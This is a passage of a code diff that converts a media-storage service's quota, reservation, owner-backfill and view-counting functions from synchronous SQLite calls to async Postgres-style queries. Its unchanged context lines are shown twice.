* ancestor with a limit (the root always carries the tenant's quota), and against the effective
* ancestor with a limit (the root always carries the tenant's quota), and against the effective
* policy's max_object_bytes. Returns null, or { status, code, detail, extra } for a problem answer.
* policy's max_object_bytes. Returns null, or { status, code, detail, extra } for a problem answer.
*/
*/
-function checkQuota(app, namespace, { bytes = 0, objects = 0, excludeId = null } = {}) {
+/**
+ * Inside a transaction, the tenant's quota lock (held to commit): a check and the row it admits commit before the next
+ * check of the same tenant reads usage, as SQLite's one writer made them (ADR-035).
+ */
+async function lockQuota(appId) {
+ if (db.getDb().inTransaction()) await db.get('SELECT pg_advisory_xact_lock(hashtext(?)) AS locked', [`media.quota:${appId}`]);
+}
+
+async function checkQuota(app, namespace, { bytes = 0, objects = 0, excludeId = null } = {}) {
+ await lockQuota(app.app_id);
const root = db.rootNamespace(app);
const root = db.rootNamespace(app);
- const rows = chain(app.app_id, namespace);
+ const rows = await chain(app.app_id, namespace);
if (!rows.length || rows[0].namespace !== root) rows.unshift({ namespace: root, parent: null, quota_bytes: null, quota_objects: null });
if (!rows.length || rows[0].namespace !== root) rows.unshift({ namespace: root, parent: null, quota_bytes: null, quota_objects: null });
const policy = Object.assign({}, ...rows.map(r => parsePolicy(r.policy)));
const policy = Object.assign({}, ...rows.map(r => parsePolicy(r.policy)));
const maxObject = Number(policy.max_object_bytes) || 0;
const maxObject = Number(policy.max_object_bytes) || 0;
@@ -186,7 +196,7 @@ function checkQuota(app, namespace, { bytes = 0, objects = 0, excludeId = null }
@@ -186,7 +196,7 @@ function checkQuota(app, namespace, { bytes = 0, objects = 0, excludeId = null }
for (const row of rows.slice().reverse()) {
for (const row of rows.slice().reverse()) {
const lim = limitsOf(app, row);
const lim = limitsOf(app, row);
if (!lim.bytes && !lim.objects) continue;
if (!lim.bytes && !lim.objects) continue;
- const u = usage(app, row.namespace, { excludeId });
+ const u = await usage(app, row.namespace, { excludeId });
if (lim.bytes && u.used_bytes + u.reserved_bytes + bytes > lim.bytes) {
if (lim.bytes && u.used_bytes + u.reserved_bytes + bytes > lim.bytes) {
return {
return {
status: 413, code: 'media.quota.exceeded', detail: `The storage quota of ${row.namespace} would be exceeded`,
status: 413, code: 'media.quota.exceeded', detail: `The storage quota of ${row.namespace} would be exceeded`,
@@ -205,36 +215,36 @@ function checkQuota(app, namespace, { bytes = 0, objects = 0, excludeId = null }
@@ -205,36 +215,36 @@ function checkQuota(app, namespace, { bytes = 0, objects = 0, excludeId = null }
// ── Reservations ─────────────────────────────────────────────
// ── Reservations ─────────────────────────────────────────────
-function reservation(objectId) {
- return objectId ? db.get('SELECT * FROM media_quota_reservations WHERE object_id = ?', [objectId]) : null;
+async function reservation(objectId) {
+ return objectId ? await db.get('SELECT * FROM media_quota_reservations WHERE object_id = ?', [objectId]) : null;
}
}
/** Hold `bytes` of quota for the upload of `obj` (replacing what it held); expiry moves forward, never back. */
/** Hold `bytes` of quota for the upload of `obj` (replacing what it held); expiry moves forward, never back. */
-function reserve(obj, bytes, { hours = config.objects.reservationHours } = {}) {
- db.run(`INSERT INTO media_quota_reservations (object_id, app_id, namespace, bytes, expires_at) VALUES (?, ?, ?, ?, ?)
+async function reserve(obj, bytes, { hours = config.objects.reservationHours } = {}) {
+ await db.run(`INSERT INTO media_quota_reservations (object_id, app_id, namespace, bytes, expires_at) VALUES (?, ?, ?, ?, ?)
ON CONFLICT(object_id) DO UPDATE SET bytes = excluded.bytes, namespace = excluded.namespace,
ON CONFLICT(object_id) DO UPDATE SET bytes = excluded.bytes, namespace = excluded.namespace,
- expires_at = MAX(expires_at, excluded.expires_at), updated_at = CURRENT_TIMESTAMP`,
+ expires_at = GREATEST(media_quota_reservations.expires_at, excluded.expires_at), updated_at = ov_now()`,
[obj.id, obj.app_id, obj.namespace, Math.max(0, Number(bytes) || 0), sqlTime(Date.now() + hours * 3600 * 1000)]);
[obj.id, obj.app_id, obj.namespace, Math.max(0, Number(bytes) || 0), sqlTime(Date.now() + hours * 3600 * 1000)]);
}
}
/** An upload step happened: its reservation's expiry moves forward. */
/** An upload step happened: its reservation's expiry moves forward. */
-function touch(objectId, { hours = config.objects.reservationHours } = {}) {
- db.run('UPDATE media_quota_reservations SET expires_at = MAX(expires_at, ?), updated_at = CURRENT_TIMESTAMP WHERE object_id = ?',
+async function touch(objectId, { hours = config.objects.reservationHours } = {}) {
+ await db.run('UPDATE media_quota_reservations SET expires_at = GREATEST(expires_at, ?::text), updated_at = ov_now() WHERE object_id = ?',
[sqlTime(Date.now() + hours * 3600 * 1000), objectId]);
[sqlTime(Date.now() + hours * 3600 * 1000), objectId]);
}
}
/** The upload ended (complete, or the object was deleted): the object's own row counts from now on. */
/** The upload ended (complete, or the object was deleted): the object's own row counts from now on. */
-function settle(objectId) {
- db.run('DELETE FROM media_quota_reservations WHERE object_id = ?', [objectId]);
+async function settle(objectId) {
+ await db.run('DELETE FROM media_quota_reservations WHERE object_id = ?', [objectId]);
}
}
/** An aborted or expired session: keep holding only what is still stored for the object (a PUT's bytes). */
/** An aborted or expired session: keep holding only what is still stored for the object (a PUT's bytes). */
-function release(objectId) {
- const obj = db.get('SELECT lifecycle_status FROM media_objects WHERE id = ?', [objectId]);
+async function release(objectId) {
+ const obj = await db.get('SELECT lifecycle_status FROM media_objects WHERE id = ?', [objectId]);
const stored = obj && obj.lifecycle_status === 'uploading'
const stored = obj && obj.lifecycle_status === 'uploading'
- ? db.get("SELECT size_bytes FROM media_locations WHERE object_id = ? AND provider = 'local' AND state = 'present'", [objectId]) : null;
- if (stored && Number(stored.size_bytes) > 0) db.run('UPDATE media_quota_reservations SET bytes = ?, updated_at = CURRENT_TIMESTAMP WHERE object_id = ?', [Number(stored.size_bytes), objectId]);
- else settle(objectId);
+ ? await db.get("SELECT size_bytes FROM media_locations WHERE object_id = ? AND provider = 'local' AND state = 'present'", [objectId]) : null;
+ if (stored && Number(stored.size_bytes) > 0) await db.run('UPDATE media_quota_reservations SET bytes = ?, updated_at = ov_now() WHERE object_id = ?', [Number(stored.size_bytes), objectId]);
+ else await settle(objectId);
}
}
/**
/**
@@ -242,27 +252,27 @@ function release(objectId) {
@@ -242,27 +252,27 @@ function release(objectId) {
* (metadata.failure upload_expired), its stored bytes are deleted and its reservation goes; a
* (metadata.failure upload_expired), its stored bytes are deleted and its reservation goes; a
* reservation whose object is no longer uploading is dropped. Returns { expired, dropped }.
* reservation whose object is no longer uploading is dropped. Returns { expired, dropped }.
*/
*/
-function expireReservations() {
- const rows = db.all(`SELECT r.object_id, r.app_id, r.namespace, o.lifecycle_status, o.legacy_ref, o.metadata FROM media_quota_reservations r
+async function expireReservations() {
+ const rows = await db.all(`SELECT r.object_id, r.app_id, r.namespace, o.lifecycle_status, o.legacy_ref, o.metadata FROM media_quota_reservations r
LEFT JOIN media_objects o ON o.id = r.object_id WHERE r.expires_at < datetime('now') ORDER BY r.expires_at LIMIT 1000`);
LEFT JOIN media_objects o ON o.id = r.object_id WHERE r.expires_at < datetime('now') ORDER BY r.expires_at LIMIT 1000`);
const multipart = require('./multipart');
const multipart = require('./multipart');
const root = path.resolve(config.objects.path) + path.sep;
const root = path.resolve(config.objects.path) + path.sep;
const touched = new Map();
const touched = new Map();
let expired = 0, dropped = 0;
let expired = 0, dropped = 0;
for (const r of rows) {
for (const r of rows) {
- if (r.lifecycle_status !== 'uploading' || r.legacy_ref) { settle(r.object_id); dropped++; continue; }
- if (multipart.activeFor(r.object_id)) continue; // its session expires on its own, then this does
+ if (r.lifecycle_status !== 'uploading' || r.legacy_ref) { await settle(r.object_id); dropped++; continue; }
+ if (await multipart.activeFor(r.object_id)) continue; // its session expires on its own, then this does
try {
try {
const md = parsePolicy(r.metadata);
const md = parsePolicy(r.metadata);
md.failure = 'upload_expired';
md.failure = 'upload_expired';
md.expired_at = new Date().toISOString();
md.expired_at = new Date().toISOString();
- const locs = db.all("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [r.object_id]);
- db.getDb().transaction(() => {
- db.run("UPDATE media_objects SET lifecycle_status = 'failed', metadata = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ? AND lifecycle_status = 'uploading'",
+ const locs = await db.all("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [r.object_id]);
+ await db.getDb().tx(async () => {
+ await db.run("UPDATE media_objects SET lifecycle_status = 'failed', metadata = ?, updated_at = ov_now() WHERE id = ? AND lifecycle_status = 'uploading'",
[JSON.stringify(md), r.object_id]);
[JSON.stringify(md), r.object_id]);
- for (const l of locs) db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);
- settle(r.object_id);
- })();
+ for (const l of locs) await db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);
+ await settle(r.object_id);
+ });
for (const l of locs) if (path.resolve(l.key).startsWith(root)) { try { fs.unlinkSync(l.key); } catch { /* already gone */ } }
for (const l of locs) if (path.resolve(l.key).startsWith(root)) { try { fs.unlinkSync(l.key); } catch { /* already gone */ } }
expired++;
expired++;
touched.set(`${r.app_id}\n${r.namespace}`, r);
touched.set(`${r.app_id}\n${r.namespace}`, r);
@@ -271,34 +281,34 @@ function expireReservations() {
@@ -271,34 +281,34 @@ function expireReservations() {
console.warn(`[Namespaces] Could not expire the upload of ${r.object_id}: ${err.message}`);
console.warn(`[Namespaces] Could not expire the upload of ${r.object_id}: ${err.message}`);
}
}
}
}
- for (const r of touched.values()) { const app = db.getApp(r.app_id); if (app) reconcileChain(app, r.namespace); }
+ for (const r of touched.values()) { const app = await db.getApp(r.app_id); if (app) await reconcileChain(app, r.namespace); }
return { expired, dropped };
return { expired, dropped };
}
}
// ── Snapshot (the used_* / reserved_* columns) ───────────────
// ── Snapshot (the used_* / reserved_* columns) ───────────────
-function reconcile(app, namespace) {
- const u = usage(app, namespace);
- db.run(`UPDATE media_namespaces SET used_bytes = ?, used_objects = ?, reserved_bytes = ?, reserved_objects = ?,
- reconciled_at = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP WHERE namespace = ? AND app_id = ?`,
+async function reconcile(app, namespace) {
+ const u = await usage(app, namespace);
+ await db.run(`UPDATE media_namespaces SET used_bytes = ?, used_objects = ?, reserved_bytes = ?, reserved_objects = ?,
+ reconciled_at = ov_now(), updated_at = ov_now() WHERE namespace = ? AND app_id = ?`,
[u.used_bytes, u.used_objects, u.reserved_bytes, u.reserved_objects, namespace, app.app_id]);
[u.used_bytes, u.used_objects, u.reserved_bytes, u.reserved_objects, namespace, app.app_id]);
return u;
return u;
}
}
/** Refresh `namespace` and every namespace above it (after a write changed its usage). */
/** Refresh `namespace` and every namespace above it (after a write changed its usage). */
-function reconcileChain(app, namespace) {
+async function reconcileChain(app, namespace) {
try {
try {
- for (const row of chain(app.app_id, namespace)) reconcile(app, row.namespace);
+ for (const row of await chain(app.app_id, namespace)) await reconcile(app, row.namespace);
} catch (err) { console.warn(`[Namespaces] reconcile ${namespace}: ${err.message}`); }
} catch (err) { console.warn(`[Namespaces] reconcile ${namespace}: ${err.message}`); }
}
}
/** Refresh every row (the hourly job). Returns how many. */
/** Refresh every row (the hourly job). Returns how many. */
-function reconcileAll() {
+async function reconcileAll() {
const apps = new Map();
const apps = new Map();
let n = 0;
let n = 0;
- for (const row of db.all('SELECT namespace, app_id FROM media_namespaces ORDER BY app_id, namespace')) {
- if (!apps.has(row.app_id)) apps.set(row.app_id, db.getApp(row.app_id) || { app_id: row.app_id });
- reconcile(apps.get(row.app_id), row.namespace);
+ for (const row of await db.all('SELECT namespace, app_id FROM media_namespaces ORDER BY app_id, namespace')) {
+ if (!apps.has(row.app_id)) apps.set(row.app_id, await db.getApp(row.app_id) || { app_id: row.app_id });
+ await reconcile(apps.get(row.app_id), row.namespace);
n++;
n++;
}
}
return n;
return n;
@@ -307,7 +317,7 @@ function reconcileAll() {
@@ -307,7 +317,7 @@ function reconcileAll() {
// ── Public shape ─────────────────────────────────────────────
// ── Public shape ─────────────────────────────────────────────
/** A namespace as its owner reads it; `fresh` is usage() just computed (else the snapshot is shown). */
/** A namespace as its owner reads it; `fresh` is usage() just computed (else the snapshot is shown). */
-function publicShape(app, row, fresh = null) {
+async function publicShape(app, row, fresh = null) {
const lim = limitsOf(app, row);
const lim = limitsOf(app, row);
const u = fresh || { used_bytes: row.used_bytes, used_objects: row.used_objects, reserved_bytes: row.reserved_bytes, reserved_objects: row.reserved_objects };
const u = fresh || { used_bytes: row.used_bytes, used_objects: row.used_objects, reserved_bytes: row.reserved_bytes, reserved_objects: row.reserved_objects };
const out = {
const out = {
@@ -316,12 +326,12 @@ function publicShape(app, row, fresh = null) {
@@ -316,12 +326,12 @@ function publicShape(app, row, fresh = null) {
root: row.parent == null,
root: row.parent == null,
owner: row.owner,
owner: row.owner,
policy: parsePolicy(row.policy),
policy: parsePolicy(row.policy),
- effective_policy: effectivePolicy(row.app_id, row.namespace),
+ effective_policy: await effectivePolicy(row.app_id, row.namespace),
quota: { bytes: lim.bytes || null, objects: lim.objects || null, bytes_from: lim.bytes_from },
quota: { bytes: lim.bytes || null, objects: lim.objects || null, bytes_from: lim.bytes_from },
usage: { ...u, reconciled_at: fresh ? new Date().toISOString() : row.reconciled_at || null },
usage: { ...u, reconciled_at: fresh ? new Date().toISOString() : row.reconciled_at || null },
created_at: row.created_at,
created_at: row.created_at,
};
};
- if (db.isSandboxTenant(row.app_id)) out.sandbox = true;
+ if (await db.isSandboxTenant(row.app_id)) out.sandbox = true;
return out;
return out;
}
}
@@ -128,8 +128,8 @@ function createResolver({
@@ -128,8 +128,8 @@ function createResolver({
// ── Reads ────────────────────────────────────────────────────
// ── Reads ────────────────────────────────────────────────────
/** Per-tenant ownership counts (read-only). */
/** Per-tenant ownership counts (read-only). */
-function summary(sqlite) {
- const rows = sqlite.prepare(`
+async function summary(sqlite) {
+ const rows = await sqlite.prepare(`
SELECT app_id, count(*) AS objects,
SELECT app_id, count(*) AS objects,
sum(owner_subject IS NOT NULL) AS already_set,
sum(owner_subject IS NOT NULL) AS already_set,
sum(owner_subject IS NULL AND owner_user_id IS NOT NULL) AS missing,
sum(owner_subject IS NULL AND owner_user_id IS NOT NULL) AS missing,
@@ -141,8 +141,8 @@ function summary(sqlite) {
@@ -141,8 +141,8 @@ function summary(sqlite) {
}
}
/** Distinct (owner_app, owner_user_id) pairs that still lack a subject, with their object counts. */
/** Distinct (owner_app, owner_user_id) pairs that still lack a subject, with their object counts. */
-function pendingOwners(sqlite) {
- return sqlite.prepare(`
+async function pendingOwners(sqlite) {
+ return await sqlite.prepare(`
SELECT COALESCE(owner_app, app_id) AS owner_app, owner_user_id, count(*) AS objects
SELECT COALESCE(owner_app, app_id) AS owner_app, owner_user_id, count(*) AS objects
FROM media_objects WHERE owner_subject IS NULL AND owner_user_id IS NOT NULL
FROM media_objects WHERE owner_subject IS NULL AND owner_user_id IS NOT NULL
GROUP BY COALESCE(owner_app, app_id), owner_user_id ORDER BY 1, 2`).all();
GROUP BY COALESCE(owner_app, app_id), owner_user_id ORDER BY 1, 2`).all();
@@ -177,14 +177,14 @@ async function resolveOwners(owners, { resolver }) {
@@ -177,14 +177,14 @@ async function resolveOwners(owners, { resolver }) {
* The rows the resolved subjects fill, read in id order `batch` at a time.
* The rows the resolved subjects fill, read in id order `batch` at a time.
* -> [{ id, app_id, owner_app, owner_user_id, owner_subject }]
* -> [{ id, app_id, owner_app, owner_user_id, owner_subject }]
*/
*/
-function planChanges(sqlite, subjects, { batch = DEFAULT_BATCH } = {}) {
+async function planChanges(sqlite, subjects, { batch = DEFAULT_BATCH } = {}) {
const page = sqlite.prepare(`
const page = sqlite.prepare(`
SELECT id, app_id, COALESCE(owner_app, app_id) AS owner_app, owner_user_id FROM media_objects
SELECT id, app_id, COALESCE(owner_app, app_id) AS owner_app, owner_user_id FROM media_objects
WHERE owner_subject IS NULL AND owner_user_id IS NOT NULL AND id > ? ORDER BY id LIMIT ?`);
WHERE owner_subject IS NULL AND owner_user_id IS NOT NULL AND id > ? ORDER BY id LIMIT ?`);
const changes = [];
const changes = [];
let after = '';
let after = '';
for (;;) {
for (;;) {
- const rows = page.all(after, batch);
+ const rows = await page.all(after, batch);
if (!rows.length) break;
if (!rows.length) break;
for (const r of rows) {
for (const r of rows) {
const sid = subjects.get(ownerKey(r.owner_app, r.owner_user_id));
const sid = subjects.get(ownerKey(r.owner_app, r.owner_user_id));
@@ -201,17 +201,17 @@ function planChanges(sqlite, subjects, { batch = DEFAULT_BATCH } = {}) {
@@ -201,17 +201,17 @@ function planChanges(sqlite, subjects, { batch = DEFAULT_BATCH } = {}) {
* Fill owner_subject on the planned rows, one transaction per `batch` rows. A row is written only if
* Fill owner_subject on the planned rows, one transaction per `batch` rows. A row is written only if
* it still has no subject and the same owner. -> { applied: [change], skipped: [change], batches }
* it still has no subject and the same owner. -> { applied: [change], skipped: [change], batches }
*/
*/
-function applyChanges(sqlite, changes, { batch = DEFAULT_BATCH, onBatch = null } = {}) {
+async function applyChanges(sqlite, changes, { batch = DEFAULT_BATCH, onBatch = null } = {}) {
const set = sqlite.prepare(`
const set = sqlite.prepare(`
- UPDATE media_objects SET owner_subject = ?, updated_at = CURRENT_TIMESTAMP
+ UPDATE media_objects SET owner_subject = ?, updated_at = ov_now()
WHERE id = ? AND owner_subject IS NULL AND COALESCE(owner_app, app_id) = ? AND owner_user_id = ?`);
WHERE id = ? AND owner_subject IS NULL AND COALESCE(owner_app, app_id) = ? AND owner_user_id = ?`);
const applied = [], skipped = [];
const applied = [], skipped = [];
let batches = 0;
let batches = 0;
for (let i = 0; i < changes.length; i += batch) {
for (let i = 0; i < changes.length; i += batch) {
const slice = changes.slice(i, i + batch);
const slice = changes.slice(i, i + batch);
- sqlite.transaction(() => {
- for (const c of slice) (set.run(c.owner_subject, c.id, c.owner_app, c.owner_user_id).changes ? applied : skipped).push(c);
- })();
+ await sqlite.tx(async () => {
+ for (const c of slice) ((await set.run(c.owner_subject, c.id, c.owner_app, c.owner_user_id)).changes ? applied : skipped).push(c);
+ });
batches++;
batches++;
if (onBatch) onBatch({ batch: batches, rows: slice.length, applied: applied.length, skipped: skipped.length });
if (onBatch) onBatch({ batch: batches, rows: slice.length, applied: applied.length, skipped: skipped.length });
}
}
@@ -224,24 +224,24 @@ function applyChanges(sqlite, changes, { batch = DEFAULT_BATCH, onBatch = null }
@@ -224,24 +224,24 @@ function applyChanges(sqlite, changes, { batch = DEFAULT_BATCH, onBatch = null }
* alone and counted. With apply=false nothing is written.
* alone and counted. With apply=false nothing is written.
* -> { restored, changed_since, missing, rows: { restored: [id], changed_since: [id], missing: [id] } }
* -> { restored, changed_since, missing, rows: { restored: [id], changed_since: [id], missing: [id] } }
*/
*/
-function rollbackChanges(sqlite, entries, { apply = false, batch = DEFAULT_BATCH } = {}) {
+async function rollbackChanges(sqlite, entries, { apply = false, batch = DEFAULT_BATCH } = {}) {
const get = sqlite.prepare('SELECT id, owner_subject, COALESCE(owner_app, app_id) AS owner_app, owner_user_id FROM media_objects WHERE id = ?');
const get = sqlite.prepare('SELECT id, owner_subject, COALESCE(owner_app, app_id) AS owner_app, owner_user_id FROM media_objects WHERE id = ?');
const clear = sqlite.prepare(`
const clear = sqlite.prepare(`
- UPDATE media_objects SET owner_subject = NULL, updated_at = CURRENT_TIMESTAMP
+ UPDATE media_objects SET owner_subject = NULL, updated_at = ov_now()
WHERE id = ? AND owner_subject = ? AND COALESCE(owner_app, app_id) = ? AND owner_user_id = ?`);
WHERE id = ? AND owner_subject = ? AND COALESCE(owner_app, app_id) = ? AND owner_user_id = ?`);
const rows = { restored: [], changed_since: [], missing: [] };
const rows = { restored: [], changed_since: [], missing: [] };
const unchanged = (row, e) => row.owner_subject === e.owner_subject && row.owner_app === e.owner_app && Number(row.owner_user_id) === Number(e.owner_user_id);
const unchanged = (row, e) => row.owner_subject === e.owner_subject && row.owner_app === e.owner_app && Number(row.owner_user_id) === Number(e.owner_user_id);
for (let i = 0; i < entries.length; i += batch) {
for (let i = 0; i < entries.length; i += batch) {
const slice = entries.slice(i, i + batch);
const slice = entries.slice(i, i + batch);
- sqlite.transaction(() => {
+ await sqlite.tx(async () => {
for (const e of slice) {
for (const e of slice) {
- const row = get.get(e.id);
+ const row = await get.get(e.id);
if (!row) { rows.missing.push(e.id); continue; }
if (!row) { rows.missing.push(e.id); continue; }
if (!unchanged(row, e)) { rows.changed_since.push(e.id); continue; }
if (!unchanged(row, e)) { rows.changed_since.push(e.id); continue; }
- if (apply && !clear.run(e.id, e.owner_subject, e.owner_app, e.owner_user_id).changes) { rows.changed_since.push(e.id); continue; }
+ if (apply && !(await clear.run(e.id, e.owner_subject, e.owner_app, e.owner_user_id)).changes) { rows.changed_since.push(e.id); continue; }
rows.restored.push(e.id);
rows.restored.push(e.id);
}
}
- })();
+ });
}
}
return { restored: rows.restored.length, changed_since: rows.changed_since.length, missing: rows.missing.length, rows };
return { restored: rows.restored.length, changed_since: rows.changed_since.length, missing: rows.missing.length, rows };
}
}
@@ -251,7 +251,7 @@ function rollbackChanges(sqlite, entries, { apply = false, batch = DEFAULT_BATCH
@@ -251,7 +251,7 @@ function rollbackChanges(sqlite, entries, { apply = false, batch = DEFAULT_BATCH
* objects. -> { owners, filled, skipped, unresolvable, unsupported, via }
* objects. -> { owners, filled, skipped, unresolvable, unsupported, via }
*/
*/
async function reconcileOnce(sqlite, { resolver, batch = DEFAULT_BATCH } = {}) {
async function reconcileOnce(sqlite, { resolver, batch = DEFAULT_BATCH } = {}) {
- const owners = pendingOwners(sqlite);
+ const owners = await pendingOwners(sqlite);
const out = { owners: owners.length, filled: 0, skipped: 0, unresolvable: 0, unsupported: 0, via: null };
const out = { owners: owners.length, filled: 0, skipped: 0, unresolvable: 0, unsupported: 0, via: null };
if (!owners.length) return out;
if (!owners.length) return out;
const callsBefore = resolver.state ? resolver.state.calls : 0;
const callsBefore = resolver.state ? resolver.state.calls : 0;
@@ -260,7 +260,7 @@ async function reconcileOnce(sqlite, { resolver, batch = DEFAULT_BATCH } = {}) {
@@ -260,7 +260,7 @@ async function reconcileOnce(sqlite, { resolver, batch = DEFAULT_BATCH } = {}) {
out.unsupported = r.unsupported.reduce((n, o) => n + o.objects, 0);
out.unsupported = r.unsupported.reduce((n, o) => n + o.objects, 0);
out.via = resolver.state && resolver.state.calls > callsBefore ? resolver.state.via : null;
out.via = resolver.state && resolver.state.calls > callsBefore ? resolver.state.via : null;
if (!r.subjects.size) return out;
if (!r.subjects.size) return out;
- const applied = applyChanges(sqlite, planChanges(sqlite, r.subjects, { batch }), { batch });
+ const applied = await applyChanges(sqlite, await planChanges(sqlite, r.subjects, { batch }), { batch });
out.filled = applied.applied.length;
out.filled = applied.applied.length;
out.skipped = applied.skipped.length;
out.skipped = applied.skipped.length;
return out;
return out;
@@ -69,12 +69,12 @@ function networkOf(ip) {
@@ -69,12 +69,12 @@ function networkOf(ip) {
let _saltDay = null, _salt = null;
let _saltDay = null, _salt = null;
/** The day's random salt: read, or made by the first view of the day (a racing writer keeps the first). */
/** The day's random salt: read, or made by the first view of the day (a racing writer keeps the first). */
-function daySalt(day) {
+async function daySalt(day) {
if (_saltDay === day && _salt) return _salt;
if (_saltDay === day && _salt) return _salt;
- let row = db.get('SELECT salt FROM media_object_view_salts WHERE day = ?', [day]);
+ let row = await db.get('SELECT salt FROM media_object_view_salts WHERE day = ?', [day]);
if (!row) {
if (!row) {
- db.run('INSERT OR IGNORE INTO media_object_view_salts (day, salt) VALUES (?, ?)', [day, crypto.randomBytes(32).toString('hex')]);
- row = db.get('SELECT salt FROM media_object_view_salts WHERE day = ?', [day]);
+ await db.run('INSERT INTO media_object_view_salts (day, salt) VALUES (?, ?) ON CONFLICT DO NOTHING', [day, crypto.randomBytes(32).toString('hex')]);
+ row = await db.get('SELECT salt FROM media_object_view_salts WHERE day = ?', [day]);
}
}
_saltDay = day;
_saltDay = day;
_salt = row.salt;
_salt = row.salt;
@@ -82,8 +82,8 @@ function daySalt(day) {
@@ -82,8 +82,8 @@ function daySalt(day) {
}
}
/** The stored form of a viewer on one day: 16 hex chars of HMAC-SHA256(salt of the day, network). */
/** The stored form of a viewer on one day: 16 hex chars of HMAC-SHA256(salt of the day, network). */
-function viewerHash(network, day) {
- return crypto.createHmac('sha256', daySalt(day)).update(String(network)).digest('hex').slice(0, 16);
+async function viewerHash(network, day) {
+ return crypto.createHmac('sha256', await daySalt(day)).update(String(network)).digest('hex').slice(0, 16);
}
}
// ── Recording ────────────────────────────────────────────────
// ── Recording ────────────────────────────────────────────────
@@ -105,7 +105,7 @@ function notCounted(req) {
@@ -105,7 +105,7 @@ function notCounted(req) {
* Count the request's viewer for a native object (legacy_ref NULL), at most once per UTC day. Never throws.
* Count the request's viewer for a native object (legacy_ref NULL), at most once per UTC day. Never throws.
* → { counted, reason } (reason: not_native, method, range, opted_out, bot, seen, error; null when counted)
* → { counted, reason } (reason: not_native, method, range, opted_out, bot, seen, error; null when counted)
*/
*/
-function record(obj, req, { now = Date.now() } = {}) {
+async function record(obj, req, { now = Date.now() } = {}) {
try {
try {
if (!obj || !obj.id || obj.legacy_ref) return { counted: false, reason: 'not_native' };
if (!obj || !obj.id || obj.legacy_ref) return { counted: false, reason: 'not_native' };
const why = notCounted(req);
const why = notCounted(req);
@@ -115,19 +115,19 @@ function record(obj, req, { now = Date.now() } = {}) {
@@ -115,19 +115,19 @@ function record(obj, req, { now = Date.now() } = {}) {
// The first view of a new day: yesterday's hashes and salt go now (the hourly rotation would too).
// The first view of a new day: yesterday's hashes and salt go now (the hourly rotation would too).
_day = day;
_day = day;
_seen.clear();
_seen.clear();
- rotate({ now });
+ await rotate({ now });
}
}
- const viewer = viewerHash(networkOf(clientIp(req)), day);
+ const viewer = await viewerHash(networkOf(clientIp(req)), day);
const seenKey = `${obj.id}|${viewer}`;
const seenKey = `${obj.id}|${viewer}`;
if (_seen.has(seenKey)) return { counted: false, reason: 'seen' };
if (_seen.has(seenKey)) return { counted: false, reason: 'seen' };
const at = new Date(now).toISOString();
const at = new Date(now).toISOString();
- const added = db.getDb().transaction(() => {
- const r = db.run('INSERT OR IGNORE INTO media_object_viewer_days (day, object_id, viewer) VALUES (?, ?, ?)', [day, obj.id, viewer]);
+ const added = await db.getDb().tx(async () => {
+ const r = await db.run('INSERT INTO media_object_viewer_days (day, object_id, viewer) VALUES (?, ?, ?) ON CONFLICT DO NOTHING', [day, obj.id, viewer]);
if (!r.changes) return false;
if (!r.changes) return false;
- db.run(`INSERT INTO media_object_views_daily (object_id, day, unique_viewers, last_viewed_at) VALUES (?, ?, 1, ?)
- ON CONFLICT(object_id, day) DO UPDATE SET unique_viewers = unique_viewers + 1, last_viewed_at = excluded.last_viewed_at`, [obj.id, day, at]);
+ await db.run(`INSERT INTO media_object_views_daily (object_id, day, unique_viewers, last_viewed_at) VALUES (?, ?, 1, ?)
+ ON CONFLICT(object_id, day) DO UPDATE SET unique_viewers = media_object_views_daily.unique_viewers + 1, last_viewed_at = excluded.last_viewed_at`, [obj.id, day, at]);
return true;
return true;
- })();
+ });
if (_seen.size >= SEEN_MAX) _seen.clear();
if (_seen.size >= SEEN_MAX) _seen.clear();
_seen.add(seenKey);
_seen.add(seenKey);
return { counted: added, reason: added ? null : 'seen' };
return { counted: added, reason: added ? null : 'seen' };
@@ -141,13 +141,13 @@ function record(obj, req, { now = Date.now() } = {}) {
@@ -141,13 +141,13 @@ function record(obj, req, { now = Date.now() } = {}) {
* Delete what must not outlive its day: every viewer hash and salt of a day before today, and daily counts
* Delete what must not outlive its day: every viewer hash and salt of a day before today, and daily counts
* older than KEEP_DAYS. → { hashes, salts, counts } (rows deleted)
* older than KEEP_DAYS. → { hashes, salts, counts } (rows deleted)
*/
*/
-function rotate({ now = Date.now() } = {}) {
+async function rotate({ now = Date.now() } = {}) {
const today = dayOf(now);
const today = dayOf(now);
- const out = db.getDb().transaction(() => ({
- hashes: db.run('DELETE FROM media_object_viewer_days WHERE day < ?', [today]).changes,
- salts: db.run('DELETE FROM media_object_view_salts WHERE day < ?', [today]).changes,
- counts: db.run('DELETE FROM media_object_views_daily WHERE day < ?', [addDays(today, -KEEP_DAYS)]).changes,
- }))();
+ const out = await db.getDb().tx(async () => ({
+ hashes: (await db.run('DELETE FROM media_object_viewer_days WHERE day < ?', [today])).changes,
+ salts: (await db.run('DELETE FROM media_object_view_salts WHERE day < ?', [today])).changes,
+ counts: (await db.run('DELETE FROM media_object_views_daily WHERE day < ?', [addDays(today, -KEEP_DAYS)])).changes,
+ }));
if (_saltDay && _saltDay < today) { _saltDay = null; _salt = null; }
if (_saltDay && _saltDay < today) { _saltDay = null; _salt = null; }
return out;
return out;
}
}
@@ -156,19 +156,19 @@ function rotate({ now = Date.now() } = {}) {
@@ -156,19 +156,19 @@ function rotate({ now = Date.now() } = {}) {
* Unique viewers over the last `days` UTC days (today included), per object: Map(object_id → { unique_viewers,
* Unique viewers over the last `days` UTC days (today included), per object: Map(object_id → { unique_viewers,
* last_viewed_day, last_viewed_at, days_viewed }). `ids` narrows it (else every object with a view in the window).
* last_viewed_day, last_viewed_at, days_viewed }). `ids` narrows it (else every object with a view in the window).
*/
*/
-function stats({ ids = null, days = WINDOW_DAYS, now = Date.now() } = {}) {
+async function stats({ ids = null, days = WINDOW_DAYS, now = Date.now() } = {}) {
const since = windowStart(dayOf(now), days);
const since = windowStart(dayOf(now), days);
const list = ids == null ? null : [].concat(ids).filter(Boolean);
const list = ids == null ? null : [].concat(ids).filter(Boolean);
if (list && !list.length) return new Map();
if (list && !list.length) return new Map();
- const rows = db.all(`SELECT object_id, SUM(unique_viewers) AS viewers, MAX(day) AS last_day, MAX(last_viewed_at) AS last_at, COUNT(*) AS days
